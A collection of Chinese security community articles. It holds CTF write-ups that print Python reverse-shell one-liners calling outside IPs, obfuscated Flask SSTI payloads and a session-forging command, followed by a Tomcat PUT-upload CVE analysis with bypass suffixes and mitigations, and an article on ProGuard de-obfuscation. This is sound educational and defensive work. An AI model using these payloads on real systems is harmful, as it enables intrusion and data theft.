app.run(host='0.0.0.0', port=8080)
可以知道，漏洞代码如下：
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell) # 这里如果key=SECRET_KEY，那么就从URL中获取shell参数并用system函数(无回显)执行。
res = "ok"
else:
res = "Wrong Key!"
return res
首先接受一个 `key` 值，如果 `key` 和 `SECRET_KEY` 相等，然后接受一个 `shell`
值，并用system()函数执行，注意，system函数执行是无回显的，所以我们要反弹shell。
首先尝试读取这个`/tmp/secret.txt`文件，发现不能读取成功：
那我们怎么办呢，我们发现，`/tmp/secret.txt` 文件使用open()函数打开的，如下：
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE) # 用open()打开/tmp/secret.txt文件，文件描述符为f
SECRET_KEY = f.read().strip() # 读取secret.txt文件，，并将内容赋给SECRET_KEY
os.remove(SECRET_FILE) # 删除/tmp/secret.txt文件
程序读取完SECRET_KEY会删除 `/tmp/secret.txt` 文件， **但在 linux
系统中如果一个程序用open()打开了一个文件但最终没有关闭他，即便从外部（如os.remove(SECRET_FILE)）删除这个文件之后，在 /proc
这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符，通过这个文件描述符我们即可得到被删除文件的内容**
。/proc/[pid]/fd
这个目录里包含了进程打开文件的情况，目录里面有一堆/proc/[pid]/fd/id文件，id就是进程记录的打开文件的文件描述符的序号。我们通过对id的爆破，得到`/tmp/secret.txt`文件描述符的序号：
如上图所示，在id等于3的时候读取成功了，得到secret.txt的内容为：`JLAwm2xCtqkgNGJTHgPPocxTSLbWX4q7FVxQDxFCi/w=`
。这时我们就可以通过python来反弹shell了，即构造如下：
/no_one_know_the_manager?key=JLAwm2xCtqkgNGJTHgPPocxTSLbWX4q7FVxQDxFCi/w=&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
攻击者vps上面监听2333端口：
执行后，反弹shell成功，flag在 `/root/flag.txt` 里面。
## [V&N2020 公开赛]CHECKIN
该题与这个题思路一样，都是python反弹shell
当开始用open()打开了flag.txt文件，但是并没有将文件关闭，如上图close加了注释。我们简单反弹shell：
http://f2b62f37-fcc3-498b-9319-cadbe70f2479.node3.buuoj.cn/shell?c=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22174.2.168.0%22,7000));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27
由于是buuctf上的题目，其环境都是内网，所以我们如果要反弹shell的话要开个内网靶机、IP为174.2.168.0，端口7000。
得到shell后，我们要对/proc/[pid]/fd/[id]进行遍历，由于有很多[pid]我们可以直接用来`*`代替，省的一步一步去找，我们可以用`cat
/proc/*/fd/*`：
得到flag。
## [pasecactf_2019]flask_ssti
题目给了提示，一段代码：
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W34', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT5')
进入题目，是一个输入框，输入你的名字然后输出：
经测试存在SSTI漏洞：
经测试，过滤了一下字符。
话不多少，直接使用Unicode编码绕过，给出payload：
{{()["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f"][0]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[80]["\u006c\u006f\u0061\u0064\u005f\u006d\u006f\u0064\u0075\u006c\u0065"]("os")["popen"]("ls /")|attr("read")()}}
# 用<class '_frozen_importlib.BuiltinImporter'>这个去执行命令
"""
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[80]["load_module"]("os")["system"]("ls")}}
# 用<class '_frozen_importlib.BuiltinImporter'>这个去执行命令
"""
命令执行成功：
通过读取/proc目录中的文件查看当前进程：
{{()["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f"][0]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[91]["\u0067\u0065\u0074\u005f\u0064\u0061\u0074\u0061"](0, "app.py")}}
"""
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "app.py")}}
# 用<class '_frozen_importlib_external.FileLoader'>这个去读取文件
"""
**注意：**
这里就不能使用之前那个命令执行通过cat命令读取cmdline了，因为如果是cat读取/proc/self/cmdline的话，得到的是cat进程的信息，所以我们要通过题目的当前进程使用python读取文件的方式读取/proc/self/cmdline。（不知道你们听懂了没……）
如上图所示，得到当前进程为app.py。
读取app.py文件：
得到了如下源码：
import random
from flask import Flask, render_template_string, render_template, request
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
try:
p = request.values.get('nickname')
id = random.randint(0, len(nicknames) - 1)
if p != None:
if '.' in p or '_' in p or '\'' in p:
return 'Your nickname contains restricted characters!'
return render_template_string(nicknames[id] % p)
except Exception as e:
print(e)
return 'Exception'
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
经过阅读源码我们，app.py会打开/app/flag文件，然后读取其中的内容进行加密，加密函数在提示中给出的源码中。最后会删掉flag。话不多少，直接读取/proc/self/fd/3，得到Flag：
{{()["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f"][0]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[91]["\u0067\u0065\u0074\u005f\u0064\u0061\u0074\u0061"](0, "/proc/self/fd/3")}}
## [PASECA2019]honey_shop
进入题目，是一个商店：
可以购买flag：
但是我们钱不够，这种题一般就是修改cookie。查看cookie，尝试flask session解密，如下图成功解密：
那么我们的思路就是将session中代表金钱的balance该多点就行了。但是既然要修改flask session，我们肯定还需要获取secret key。
我们发现，当点击主页的图片时，会自动下载文件：
抓包测试：
可见存在任意文件读取漏洞，那我们可以通过这里读取 `/proc/self/environ`，查看当前进程Python的环境变量：
成功获取到了SECRET_KEY=dc8FZ1M5r1Hc6W4k1Z8zDPHcIkcVh7zEimk5YAuW，然后我们就可以伪造flask
session了：
python3 flask_session_cookie_manager3.py encode -s "dc8FZ1M5r1Hc6W4k1Z8zDPHcIkcVh7zEimk5YAuW" -t "{'balance': 4000, 'purchases': []}"
然后使用伪造的session替换原来的session我们就有钱买flag了。
**Ending……** | 社区文章 |
OWASP ZAP 2.6
好久好久没更新了，昨天发现OWASP群里面有说。然后就下载了
Github 下载
<https://github.com/zaproxy/zaproxy/wiki/Downloads> | 社区文章 |
### 一. **漏洞概述**
2017年9月19日，Apache
Tomcat官方确认并修复了两个高危漏洞，漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间，官方评级为高危，在一定条件下，攻击者可以利用这两个漏洞，获取用户服务器上
JSP 文件的源代码，或是通过精心构造的攻击请求，向用户服务器上传恶意JSP文件，通过上传的 JSP 文件
，可在用户服务器上执行任意代码，从而导致数据泄露或获取服务器权限，存在高安全风险。
### 二. **漏洞基本信息**
**漏洞编号:**
* CVE-2017-12616
* CVE-2017-12615
**漏洞名称:**
* CVE-2017-12615-远程代码执行漏洞
* CVE-2017-12616-信息泄露漏洞
**官方评级:**
* 高危，实际测试漏洞危害较低
**漏洞描述:**
* CVE-2017-12616：信息泄露漏洞
当Tomcat中启用了
VirtualDirContext时，攻击者将能通过发送精心构造的恶意请求，绕过设置的相关安全限制，或是获取到由VirtualDirContext提供支持资源服务的JSP源代码，从而造成代码信息泄露。
* CVE-2017-12615：远程代码执行漏洞
当 Tomcat运行在Windows操作系统时，且启用了HTTP PUT请求方法（例如，将 readonly 初始化参数由默认值设置为
false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP
文件，JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
在一定的条件下，通过以上两个漏洞可在用户服务器上执行任意代码，从而导致数据泄露或获取服务器权限，存在高安全风险。
### **漏洞利用条件:**
* CVE-2017-12615漏洞利用需要在Windows环境，且需要将 readonly 初始化参数由默认值设置为 false，经过实际测试，Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数，需要手工添加，默认配置条件下不受此漏洞影响。
* CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数，经过实际测试，Tomcat 7.x版本内默认配置无VirtualDirContext参数，需要手工添加，默认配置条件下不受此漏洞影响。
**影响范围:**
* CVE-2017-12615影响范围： Apache Tomcat 7.0.0 - 7.0.79 (windows环境)
* CVE-2017-12616影响范围：Apache Tomcat 7.0.0 - 7.0.80
### 三. **漏洞详细分析信息**
#### 3.1. **环境搭建**
Apache
Tomcat默认开启PUT方法，org.apache.catalina.servlets.DefaultServlet的readonly默认为true，而且默认没有在conf/web.xml里写，需要手工添加并且改为false，才可以测试。
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
#### 3.2. **原理分析**
本次Apache Tomcat两个CVE漏洞涉及到 DefaultServlet和 JspServlet，DefaultServlet的作用是处理静态文件
，JspServlet 的作用是处理jsp 与jspx 文件的请求，同时DefaultServlet 可以处理 PUT 或
DELETE请求，以下是默认配置情况：
除了jsp和jspx默认是由org.apache.jasper.servlet.JspServlet处理，其他默认都是由org.apache.catalina.servlets.DefaultServlet来处理。
可以看出即使设置readonly为false，默认tomcat也不允许PUT上传jsp和jspx文件的，因为后端都用org.apache.jasper.servlet.JspServlet来处理jsp或是jspx后缀的请求了，而JspServlet中没有PUT上传的逻辑，PUT的代码实现只存在于DefaultServlet中。
这个漏洞的根本是通过构造特殊后缀名，绕过了tomcat检测，让它用DefaultServlet的逻辑去处理请求，从而上传jsp文件。
目前主要三种方法：
* evil.jsp%20
* evil.jsp::$DATA
* evil.jsp/
利用这两种姿势PUT请求tomcat的时候，骗过tomcat而进入DefaultServlet处理的逻辑，如图:
#### 3.3. **调试代码**
调试DefaultServlet.java代码流程，如下:
设置readOnly为false
先调用栈
重点看doPut，这里tomcat开始处理PUT请求，可以看到这里如果readonly是true就直接进入error了，所以需要设置成false。
真正写入文件在FileDirContext.java的rebind函数里。
**FileOutputStream特性**
上面遗留了一个问题就是当请求jsp%20或是jsp::$DATA后缀的时候，为什么最终却写入.jsp后缀的文件，这些其实是java.io.
FileOutputStream的问题了，具体需要分析jdk的C代码才能得到解答，如图
跟到open是native的，已经不是java层面的问题了，这个open实际上是一个jni接口，然后调用windowsAPI
CreateFileW创建文件，这里下载openjdk6的jdk代码分析，如图:
这里Java_java_io_FileOutputStream_open便是上边java代码里open函数的C代码实现，其中参数path对应open函数的name变量，继续跟踪，如图:
继续跟入winFileHandleOpen，这里最终是调用windows的CreateFileW实现文件创建，如图：
而在windows下，创建文件是对后缀名称有要求的，例如：如果后缀末尾是空格，会被去掉，a.txt::$DATA传入CreateFileW也会被处理成a.txt
**java.io.File的特性**
前面没有说evil.jsp/，这种方法也可以PUT上传，但是不同于上面两种，这种方法是利用了File类的特性，先看代码，如图:
这里测试发现java.io.File会过滤掉子文件名末尾的斜杠，写一个测试用例确实是这样的，如图:
具体跟踪一下代码，如图:
继续跟入，如图:
在这里这个normalize(path, n, (prev == slash) ? i - 1 :
i)会将文件名末尾的/过滤掉，所以可以导致后面文件写入jsp文件。
#### 3.4. **漏洞复现**
Apache Tomcat 7默认值是 true，在默认条件下，无法成功利用这两个漏洞。为了触发漏洞，需要在conf/web.xml 中
defaultservlet 的配置中手工添加如下配置：
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
我们通过构造的请求上传b.jsp，执行该请求请求就会由DefaultServlet
处理，从而PUT操作就会顺利执行，成功上传文件，以下通过构造请求，触发并复现该漏洞：
在分析的时候，我们也发现File类存在一个利用点，normalize函数过滤掉了末尾斜杠。我们通过构造请求测试，发现可以被利用，通过对全版本测试，发现Windows、Linux、Unix下的Apache
Tomcat 5.X、6.X、7.x、8.x、9.x版本均受到影响，从这点可以看出官方给出的补丁存在绕过，目前该问题已经得到Apache官方的确认。
### 四. **漏洞分析总结**
从以上分析可以得出，该漏洞利用的前提条件需要手动开启readOnly功能，以支持上传操作，在Apache tomcat
7.X版本默认配置的情况下是无法成功利用漏洞，从实际测试来看，漏洞危害性并没有那么高。
但是如果用户一旦启用了readOnly功能，黑客可利用漏洞成功入侵。
### 五. **如何检测漏洞？**
从以上分析可以得出，该漏洞利用的前提条件需要手动开启readOnly功能，开发或运维人员可以排查是否启用了PUT方法并开启了readOnly功能。
### 六. **如何应对漏洞？**
1. 根据业务评估配置conf/webxml文件的readOnly值为Ture或注释参数，禁用PUT方法并重启tomcat服务，临时规避安全风险；
注意： 如果禁用PUT方法，对于依赖PUT方法的应用，可能导致业务失效。
1. 目前官方已经发布了[7.0.81版本](http://tomcat.apache.org/download-70.cgi?spm=5176.bbsr536282.0.0.uCIPzO&file=download-70.cgi)修复了两个漏洞，建议用户尽快升级到最新版本；
2. 对于最新版本绕过的问题，建议用户持续关注官方信息，及时更新到最新版本；
3. 可以选用[阿里云云盾WAF](https://www.aliyun.com/product/waf?spm=5176.8142029.388261.254.aU6xj4)产品进行防御。
4. 未使用WAF前：
Figure 1成功上传文件
* 使用WAF后的防御效果：
Figure 2上传文件时报405，上传文件失败
### 七. **Web安全最佳实践**
**为什么PUT方法不安全?**
除标准常用的GET和POST方法外，HTTP请求还使用其他各种方法，PUT方法是HTTP请求方法中的一种。此方法用于请求服务器把请求中的实体储存在请求资源下，如果请求资源已经在服务器中存在，那么将会用此请求中的数据替换原先的数据，作为指定资源的最新修改版。如果请求指定的资源不存在，将会创建这个资源，且数据位请求正文。
在以往的实际安全事件案例中，我们可以看到，由于PUT方法自身不带验证机制，有很多利用PUT方法很快捷简单的成功入侵服务器，上传Webshell或其他恶意文件，从而获取敏感数据或服务器权限，从web安全年最佳实践来看，我们不推荐使用这些不安全的http
OPTIONS方法。
从安全最佳实践来说，我们应该遵循“最小化”原则，不要随意开启不必要的服务或方法，仅开启必要的功能，减小风险暴露面，从而降低安全风险，保障业务的安全性。
**最佳实践：如何知道自己网站使用了哪些http方法？**
查看响应的 Allow: GET, HEAD, POST, OPTIONS,TRACE
注：该测试仅限于自身业务。
**禁用不必要的http方法**
* IIS：
IIS默认拒绝PUT和DELETE请求，如果使用了不安全的方法，建议禁用webDAV模块。
* Apache:
<Location />
仅允许GET和POST方法，修改后重启服务。
<LimitExcept GET POST >
Order Allow,Deny
Deny from all
</LimitExcept>
</Location>
* Tomcat：
修改[web.xml](https://www.baidu.com/s?wd=web.xml&tn=44039180_cpr&fenlei=mv6quAkxTZn0IZRqIHckPjm4nH00T1dBnhmLryN-mW-hrHD3ryNW0ZwV5Hcvrjm3rH6sPfKWUMw85HfYnjn4nH6sgvPsT6KdThsqpZwYTjCEQLGCpyw9Uz4Bmy-bIi4WUvYETgN-TLwGUv3EnHRLPHf3PWfdrHRkP1czPjTsn0)配置，增加以下内容，并重启tomcat服务：
<security-constraint>
<web-resource-collection>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
<http-method>DELETE</http-method>
<http-method>HEAD</http-method>
<http-method>OPTIONS</http-method>
<http-method>TRACE</http-method>
</web-resource-collection>
<auth-constraint>
</auth-constraint>
</security-constraint>
<login-config>
<auth-method>BASIC</auth-method>
</login-config>
最后感谢阿里巴巴集团安全部柏通的技术支持。
### 八. **附录**
[1]. <https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html>
[2]. <http://stackoverflow.com/questions/630453/put-vs-post-in-rest>
[3].
[https://tomcat.apache.org/security-7.html](https://tomcat.apache.org/security-7.html?spm=5176.7759880.2.3.ajFgqs)
[4]. http://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.81 | 社区文章 |
> _关于何为Proguard,可以参考 **GuardSquare官网其优化业务** 及 **Wikipedia相关条目**._
> Proguard:<https://www.guardsquare.com/proguard>
> Wikipedia:<https://en.wikipedia.org/wiki/ProGuard>
# 局部敏感哈希与Proguard混淆对抗
2017年6月, **Richard Baumann** 发表了标题为" **Anti-ProGuard: Towards Automated
Deobfuscation of Android Apps**
"([DOI:10.1145/3099012.3099020](https://dl.acm.org/doi/10.1145/3099012.3099020
"DOI:10.1145/3099012.3099020"))的论文,其旨在利用 **SimHash**
算法实现对Apk的自动化反混淆.关于何为SimHash,简要来讲可以理解为 **可用之计算两个文本片段相似度的算法**
,此处不再进行具体阐述,可以参考Google在2007年发表的论文" **Detecting Near-Duplicates for Web
Crawling**
"([DOI:10.1145/1242572.1242592](https://dl.acm.org/doi/abs/10.1145/1242572.1242592
"DOI:10.1145/1242572.1242592")).
论文第二部分中,其强调Proguard对Apk进行 **Obfuscating** 的过程是多个 **Transformation**
的集合,论文设欲混淆工程为 **P** ,而 **P** 可看作同时包含多个对象的对象集合,对象集合中包含的对象与未混淆之工程中的类,方法,成员一
一存在映射关系,作者统一称这些对象为 **S**.即 **P={S1,S2,S3...}**
经过Proguard混淆后的工程设之为 **P'** ,而Proguard的混淆过程可看作一个能够传入任意量的 **Transformation** 函数
**T(x)** ,即
**P'={T(S1),T(S2),T(S3)...}**.可见论文强调整个混淆过程为对整个未混淆工程中各个元素进行转换的总和(事实上也确实如此),而该思想在接下来的分析中也会多次得到体现.
而论文中的第三部分正式进入到自动化反混淆的实现部分,但由于论文中阐述的实现思路略去了很多细节,故下文不以论文进行分析,而 **Richard
Baumann** 已经将自动化方案落地,在其Github账户[ohaz](https://github.com/ohaz/
"ohaz")下即可找到对应的POC项目( **论文中并未给出其实现的项目地址,而该项目的首次commit时间最早为2016年,即早于论文发布时间**
).接下来以该项目具体分析自动化反混淆的实现思路.
<https://github.com/ohaz/antiproguard>
作者在其项目README文件上简述了工具的基本使用,需要引起注意的是其工具的`--sb
-t`参数与`-d`参数,其前者用于指定一个未被混淆的Apk,并将未混淆Apk之包,类,方法名及其对应的方法实体逐一抽离提取,存入数据库,后者为反混淆的进行指定一个欲反混淆的Apk.
由于篇幅限制,下文仅对项目最核心的算法部分进行分析,并在分析前 **假设一个前提:数据库中已经填充了足够多的未混淆Apk**.
项目中`antiproguard.py`申明了一个关键方法`compare`,该方法用于将传入的欲分析方法实体( **被混淆** )与数据库中储存的
**各个** 方法实体( **未混淆**
)分别进行相似度对比,并依据相似度对比结果判断是否生成一个`hint`,该生成的`hint`将作为辅助分析其他被混淆方法实体的依据.
可见在`compare`方法内,程序分别 **对被混淆方法实体** 分别生成了三个不同的SimHash值,而经过后续验证,这三个SimHash的产生
**均与方法实体所对应的操作码串有高度关联** ,则此三个SimHash值的关系可以下图进行表达.
由上图不难得知这三个SimHash值与 **被混淆方法实体** 的关联强度有关,并按照关联强度以由大到小的顺序排列.
接着该三值分别与数据库中的 **未混淆方法实体** 对应产生的此三个SimHash值以论文中提到的如下方式分别进行一次计算:
SimHash结合汉明距离,该计算方式得出的结果可抽象理解为两个方法实体的 **相似程度** ,接着程序判断计算出的 **相似程度** 是否大于
**90%** ,若超过该值,则判断该 **被混淆方法实体** 与正在与之进行对比的 **未混淆方法实体**
高度相似,此时即可为下一次`compare`的调用产生一个`hint`,根据该`hint`以加快识别其他方法实体相似程度的速度,此处不再对`hint`更进一步分析.
而最终程序将对所有经过`compare`方法确定的与数据库中未混淆的方法实体产生对应关系的被混淆的方法实体进行批量重命名,将其方法名'还原'为数据库中对应的未混淆方法实体的对应方法名,简而言之,`compare`方法负责确定被混淆方法与数据库中的那个未混淆方法具有
**强相关** 的关系.
如果已经理解了`compare`方法,不难看出`compare`方法与反混淆之精细程度有着直接关系,同时也不难得出该反混淆方案的本质.既已分析过关键方法,剩下的分析流程我仅以一图概之.
虽方案可行,但仍有局限之处,且看该论文的第四部分.
可见其选择的被测试对象均为 **F-Droid** 上开放源代码的项目,且这些项目 **至少使用了一个或多个开源的第三方库**
,这些开源第三方库将在正式测试前被导入至数据库中,以启用Proguard优化的情况下编译项目,以反混淆工具提供的方案处理之,虽然最终该反混淆方案正确还原的包超过了50%,但该方案依然在很大程度上无法胜任真正的逆向工程实战.
* 其一,回顾上文对关键方法`compare`的分析,不难发现一个需求与方案实现上的冲突,即逆向工程的本质是分析与剥离被分析对象最有价值的核心代码,而根据`compare`的实现可知其对方法实体的分析基于数据库中数据量的多少,而能够输入数据库的数据也仅限于第三方的开源支持库( **你总不能输入一些能够还原未开源代码的数据吧,这形成了悖论** ).
* 其二,论文第一部分明确指出, **其所提出的基于相似性算法的混淆代码还原方案基于数据库中的已知代码** ,而如第一点所言,能输入数据库的代码主要来源于第三方的开源支持库,故该论文提出的所谓通用性方案仅能对 **本就开源但被混淆的部分** 进行还原.
基于以上两点假设一个理想情况,方案能够还原所有被混淆的第三方开源库代码,但需要明确的是,逆向工程的主要对象仍是针对软件的业务代码,而市面上投放的软件其业务代码量均十分庞大(
**想象一下如今用户能够从已知渠道下载的软件,其臃肿程度导致的代码量可见一斑** ),即使能还原所有第三方开源库代码,对逆向工程的帮助也是微乎其微.
* * *
# DataFlow分析与Proguard混淆对抗
不论是尝试'还原'被混淆为短字节的方法名还是以其他方式处理被Proguard混淆的Apk工程,不难发现这些工作的
**本质都是尝试辅助逆向工程人员'理解'被混淆方法实体,排除无意义短字节的干扰** ,以减少逆向工程中抽离出有价值代码的时间成本.
基于该思想,我曾于21年4月份编写并开源过一个项目,该项目的主旨是通过分析被混淆的成员与成员,方法,类之间的关系,让逆向工程人员快速判断被混淆成员是否具有被分析价值,但由于当时该项目不与任何现有工具联动,且分析对象仅针对成员,职能单一,在逆向工程中发挥的作用不大,故在今年(22年)5月对部分代码重构,拓展了项目职能,目前可以与著名逆向工程工具[
**JADX**](https://github.com/skylot/jadx "JADX")进行联动,且分析对象由单一的成员拓展至方法,可
**通过分析欲分析方法中的参数在被标记为污点的情况下的向下传播方向,即DataFlow分析**.
<https://github.com/MG1937/AntiProguard-KRSFinder>
而该项目的实现本质无疑是分析整个Apk工程的 **Dalvik操作码**
,为操作码分配相应的句柄以具体处理操作码的操作对象,并依据处理结果进一步分析Apk内各个类的成员与方法,生成对应的分析报告用以联动JADX.(关于Dalvik操作码,可以参考[
**Gabor Paller**](http://pallergabor.uw.hu/index.en.html "Gabor
Paller")于2009年提供的[ **Dalvik
Opcodes**](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html "Dalvik
Opcodes")).
## 像Dalvik虚拟机一样思考
分析Apk无不分析其Dex,分析Dex无不Dump其IR, **得其IR** ,何如?
正如前文所述,该项目旨在通过分析成员间关系与DataFlow以辅助逆向工程,然则不论如何分析,深入到Dex文件其操作码总是必要的.虽从Dex中获取Dalvik操作码的方法有千百种,但论如何处理操作码及其
**处理思想**
,固然是要引Google之鉴的.然则自Android5.0开始,Google就弃用Dalvik转而以ART虚拟机处理Dex,但ART绝大情况下使用AOT技术,
**仅于技术需求而言,该项目对操作码的处理思想必然要取JIT之鉴** ,故该部分将分析Dalvik虚拟机处理字节码的部分实现, **进以指导项目实现**.
以[
**Android-4.0.1_r1**](https://android.googlesource.com/platform/dalvik/+/refs/tags/android-4.0.1_r1
"android-4.0.1_r1")分支下的Dalvik虚拟机源码为例,Dex实例将流入`Frontend.cpp`文件下`dvmCompileTrace`函数,该函数正是将Dalvik字节码转换为机器码的入口函数.
该函数不断遍历包含字节码的基本块,最终将携带Dalvik字节指令的`cUnit`成员引用传入`compileLoop`函数下,而`compileLoop`函数最终将引用传入`CodegenDriver.cpp`文件下的关键函数
**`dvmCompilerMIR2LIR`** ,顾名思义, **此函数将Dalvik字节指令处理为LIR** ,最终由其他方法处理LIR为机器码.
`dvmCompilerMIR2LIR`函数下`cUnit`成员引用中携带的Dalvik字节码被传入`dexGetFormatFromOpcode`函数下处理为`dalvikFormat`成员,最终该成员被传入一个巨大的switch-case块中进行处理,该switch-case块根据`dalvikFormat`成员为`cUnit`成员分配对应的处理句柄(handle)以具体处理其携带的Dalvik字节码即其操作对象(即寄存器).
至此, **Android4.0 Dalvik虚拟机**
处理字节码的大致流程已经分析完毕,如上图流程图所示,该流程及其Dalvik字节码处理思想将被运用到接下来的项目结构中.
## 项目实现
> **项目已经开源** ,可至[ **AntiProguard-> KRSFinder**](https://github.com/MG1937/AntiProguard-KRSFinder "AntiProguard-> KRSFinder")下查看项目具体代码.
基于前文对Dalvik虚拟机处理字节码的流程分析,基于Dalvik思想绘制如上流程图,该图所示流程在项目正式开始前被作为 **理想流程框架**
用以指导项目进行,并且在已经完成的项目中其对字节码的大致处理流程也接近该理想流程框架.
由Dalvik虚拟机源码下[docs](https://android.googlesource.com/platform/dalvik/+/refs/tags/android-4.0.1_r1/docs/
"docs")文件夹中文档的部分描述可知Dalvik虚拟机是 **基于寄存器**
的.故项目也需要一个组件用以储存寄存器,该组件即为项目中`TempRegisterMap.cs`文件下的`TempRegisterMap`类.而该组件本质上是一个`Dictionary`对象,该组件其键为Dalvik操作码具体操作的
**寄存器其名** (即p0,v0...),其值为`TempRegister`对象,该对象即代表一个具体的寄存器,此寄存器
**目前仅需要储存字符串与方法**.下图为该组件大致结构.
下面部分为项目对单个Dalvik字节码处理部分,该部分模仿了Dalvik虚拟机处理字节码的模式.
上图为项目下`MethodCodeAnalyseModule.cs`文件中`MethodCodeAnalyseModule`类的
**`methodAnalyse`**
函数,该函数为项目处理操作码的正式入口,可以看到该部分我效仿Dalvik虚拟机处理单个字节码的流程模式,为即将处理的操作码分类,并为之分配处理句柄以具体解析操作码及其携带的寄存器,值得一提的是该函数的实现
**并不完全** 与Dalvik虚拟机处理操作码的形式相同,在正式为操作码分配处理句柄前,我将操作码的处理优先级以
**`MUST`,`CHECK`,`PASS`**
划分,被赋予`MUST`优先级的操作码将被优先分配处理句柄,赋予`CHECK`优先级的操作码将在检查其具体操作的寄存器 **是否有必要处理**
后再为操作码分配处理句柄,赋予`PASS`优先级的操作码将不进行任何解析,以此略去部分不必要解析的操作码,以加快整个流程的处理速度.
在正式进入下个部分前,有必要阐述清楚函数中 **方法区块** (以下称为 **块** )的含义.
Dex中以MIR形式储存的函数不仅以多个字节码组成的串形式保存,单个函数也可被分为多个 **块** ,即以多个块组成一个函数,欲简单理解 **块**
,可以[ **ASM**](https://en.wikipedia.org/wiki/Assembly_language "ASM")中的 **JMP**
指令为参考,JMP指令可以跳跃到内存中的任意地址,而在Dalvik中则以 **块** 为跳跃对象,即在Dalvik中以 **块**
为基本单位组成执行流程.以市面上常见的工具抽离Dex其操作码串,输出的结果中大多以高级语言中 **Label**
的形式表示函数中的块,如下图为带有多个块的函数片段.
下面部分为项目对单个函数的处理部分.
先假设项目即将对一个函数进行处理,且该函数被分为数量未知的多个 **块** ,而上图所示流程即为项目在该情况下的大致处理流程, **假设一个理想情况**
,此时块与块之间没有任何指令使得程序跨块跳跃,即执行流程从块顶部向下执行直到方法结束,那么项目将在每个块执行结束时,立刻截取当前块的寄存器集(即`TempRegisterMap`组件)快照,并且记录当前的执行路线,以寄存器集快照为引索保存每次执行路线,那么在该执行流程下,寄存器集将以如下图情况保存.
那么此时假设块与块之间出现了一个或多个流程控制指令(如 **if,goto** ).
* 若流程控制指令为 **`goto`** 指令,项目将标记其操作对象为 **强行跳转目标** ,并继续向下执行,但不具体解析非强行跳转目标的块, **直到目标块被找到** 才具体对块中操作码进行解析.
* 若为 **`if`** 类指令,项目将仅对其操作对象进行标记,而 **不令项目强行寻找目标块** ,正常向下执行 **并解析** 块.
以如上两种流程控制方法尽可能覆盖到大多数由流程控制指令导致的未知数量的解析路线.
假设块与块之间出现了数量未知的`goto`指令,此时处理流程将为下图所示.
从流程上来看似乎处理过程没有太大变化,但此时构造一个在Dalvik执行流程上能够影响寄存器内容的函数片段,此时且看下图处理结果.
